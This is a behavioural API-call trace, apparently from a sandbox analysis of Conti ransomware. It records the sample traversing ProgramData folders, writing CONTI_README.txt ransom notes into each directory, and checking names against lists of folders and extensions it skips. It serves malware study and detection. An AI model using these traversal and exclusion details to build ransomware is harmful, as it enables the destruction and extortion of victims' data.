	[0105.715] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\", lpString2="Cm" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm"
	[0105.715] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned 47
	[0105.715] GetProcessHeap () returned 0x1720000
	[0105.715] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741060
	[0105.715] lstrcpyW (in: lpString1=0x1741060, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm"
	[0105.715] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*"
	[0105.715] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned 47
	[0105.715] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.715] GetProcessHeap () returned 0x1720000
	[0105.715] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17c9730
	[0105.715] lstrcpyW (in: lpString1=0x17c9730, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm"
	[0105.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\"
	[0105.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\CONTI_README.txt"
	[0105.716] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\cm\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0105.716] GetProcessHeap () returned 0x1720000
	[0105.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9730 | out: hHeap=0x1720000) returned 1
	[0105.717] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0105.717] CloseHandle (hObject=0x350) returned 1
	[0105.717] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0105.718] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.718] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0105.718] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.718] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.718] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52db94dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52db94dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.718] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.718] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.718] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.718] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.718] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52db94dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52db94dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.718] GetProcessHeap () returned 0x1720000
	[0105.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741060 | out: hHeap=0x1720000) returned 1
	[0105.718] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0105.718] GetProcessHeap () returned 0x1720000
	[0105.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c08b8 | out: hHeap=0x1720000) returned 1
	[0105.718] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2=".") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="..") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="tmp") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="winnt") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="Application Data") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="AppData") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="temp") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="thumb") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="$Recycle.Bin") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="$RECYCLE.BIN") returned 1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="System Volume Information") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="Program Files") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="Program Files (x86)") returned -1
	[0105.718] lstrcmpiW (lpString1="CM_old", lpString2="Boot") returned 1
	[0105.719] lstrcmpiW (lpString1="CM_old", lpString2="Windows") returned -1
	[0105.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0105.719] lstrlenW (lpString="CM_old") returned 6
	[0105.719] GetProcessHeap () returned 0x1720000
	[0105.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1741060
	[0105.719] lstrcpyW (in: lpString1=0x1741060, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0105.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
	[0105.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\", lpString2="CM_old" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old"
	[0105.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned 51
	[0105.719] GetProcessHeap () returned 0x1720000
	[0105.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17405c8
	[0105.719] lstrcpyW (in: lpString1=0x17405c8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old"
	[0105.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*"
	[0105.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned 51
	[0105.719] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.719] GetProcessHeap () returned 0x1720000
	[0105.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8a) returned 0x181c158
	[0105.719] lstrcpyW (in: lpString1=0x181c158, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old"
	[0105.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\"
	[0105.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\CONTI_README.txt"
	[0105.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\cm_old\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0105.722] GetProcessHeap () returned 0x1720000
	[0105.722] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c158 | out: hHeap=0x1720000) returned 1
	[0105.722] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0105.723] CloseHandle (hObject=0x350) returned 1
	[0105.723] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0105.723] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.723] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0105.723] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.723] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.723] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52db94dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52db94dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.723] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.723] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.723] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.723] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.723] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52db94dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52db94dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.723] GetProcessHeap () returned 0x1720000
	[0105.723] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17405c8 | out: hHeap=0x1720000) returned 1
	[0105.723] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0105.724] GetProcessHeap () returned 0x1720000
	[0105.724] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741060 | out: hHeap=0x1720000) returned 1
	[0105.724] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52d93390, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52d93390, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.724] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.724] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.724] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.724] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.724] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52d93390, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52d93390, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.724] GetProcessHeap () returned 0x1720000
	[0105.724] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0850 | out: hHeap=0x1720000) returned 1
	[0105.724] FindClose (in: hFindFile=0x17c7ef0 | out: hFindFile=0x17c7ef0) returned 1
	[0105.724] GetProcessHeap () returned 0x1720000
	[0105.724] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0718 | out: hHeap=0x1720000) returned 1
	[0105.724] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52d93390, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52d93390, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.724] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.724] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.724] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.724] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.724] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2=".") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="..") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="tmp") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="winnt") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="Application Data") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="AppData") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="temp") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="thumb") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="$Recycle.Bin") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="$RECYCLE.BIN") returned 1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="System Volume Information") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="Program Files") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="Program Files (x86)") returned -1
	[0105.724] lstrcmpiW (lpString1="Downloader", lpString2="Boot") returned 1
	[0105.725] lstrcmpiW (lpString1="Downloader", lpString2="Windows") returned -1
	[0105.725] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32
	[0105.725] lstrlenW (lpString="Downloader") returned 10
	[0105.725] GetProcessHeap () returned 0x1720000
	[0105.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c1328
	[0105.725] lstrcpyW (in: lpString1=0x17c1328, lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0105.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0105.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.725] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.725] GetProcessHeap () returned 0x1720000
	[0105.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5c) returned 0x17c0d30
	[0105.725] lstrcpyW (in: lpString1=0x17c0d30, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*"
	[0105.725] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.725] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.725] GetProcessHeap () returned 0x1720000
	[0105.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7a) returned 0x176b8a8
	[0105.725] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\CONTI_README.txt"
	[0105.725] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.725] GetProcessHeap () returned 0x1720000
	[0105.725] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0105.725] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.726] CloseHandle (hObject=0x38c) returned 1
	[0105.726] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0105.726] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.726] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.726] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.726] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.726] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52db94dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52db94dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52db94dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.726] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.727] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.727] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.727] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.727] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3e2bf5d9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0105.727] lstrcmpiW (lpString1="edb.chk", lpString2=".") returned 1
	[0105.727] lstrcmpiW (lpString1="edb.chk", lpString2="..") returned 1
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".CONTI") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch="CONTI_README.txt") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".exe") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".dll") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".lnk") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".sys") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch=".CONTI") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.chk", lpSrch="CONTI_README.txt") returned 0x0
	[0105.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
